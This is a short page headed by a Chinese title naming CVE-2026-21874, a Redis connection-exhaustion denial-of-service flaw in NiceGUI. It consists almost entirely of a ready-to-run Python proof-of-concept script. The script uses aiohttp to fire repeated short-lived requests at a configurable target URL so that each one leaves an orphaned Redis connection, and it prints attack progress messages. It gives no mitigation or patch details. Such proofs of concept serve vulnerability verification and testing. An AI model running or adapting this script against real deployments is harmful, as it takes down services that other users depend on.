CVE-2026-21874 NiceGUI Redis连接耗尽拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2026-21874 PoC - NiceGUI Redis Connection Exhaustion This PoC demonstrates how an attacker can exhaust Redis connections by repeatedly opening and closing HTTP connections to a NiceGUI app. """ import asyncio import aiohttp import time from concurrent.futures import ThreadPoolExecutor TARGET_URL = "http://localhost:8080" # Change to target URL NUM_ITERATIONS = 100 DELAY_BETWEEN_REQUESTS = 0.1 async def open_and_close_session(session, session_id): """ Simulate opening a browser tab and closing it immediately. This creates a Redis connection that is never released. """ headers = { 'User-Agent': f'PoC-Client-{session_id}', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' } try: # Open connection async with session.get(TARGET_URL, headers=headers, timeout=aiohttp.ClientTimeout(total=5)) as response: await response.read() # Close immediately (simulating tab close) # The Redis connection is not released return True except Exception as e: print(f"Request {session_id} failed: {e}") return False async def attack(): """Main attack function""" connector = aiohttp.TCPConnector(limit=0) # No connection limit async with aiohttp.ClientSession(connector=connector) as session: tasks = [] for i in range(NUM_ITERATIONS): task = asyncio.create_task(open_and_close_session(session, i)) tasks.append(task) await asyncio.sleep(DELAY_BETWEEN_REQUESTS) results = await asyncio.gather(*tasks) success_count = sum(1 for r in results if r) print(f"[+] Completed {success_count}/{NUM_ITERATIONS} requests") print(f"[+] Each request creates an orphan Redis connection") print(f"[+] After {NUM_ITERATIONS} iterations, Redis connections should be exhausted") if __name__ == "__main__": print(f"[*] CVE-2026-21874 PoC - NiceGUI Redis Connection Exhaustion") print(f"[*] Target: {TARGET_URL}") print(f"[*] Starting attack...") asyncio.run(attack())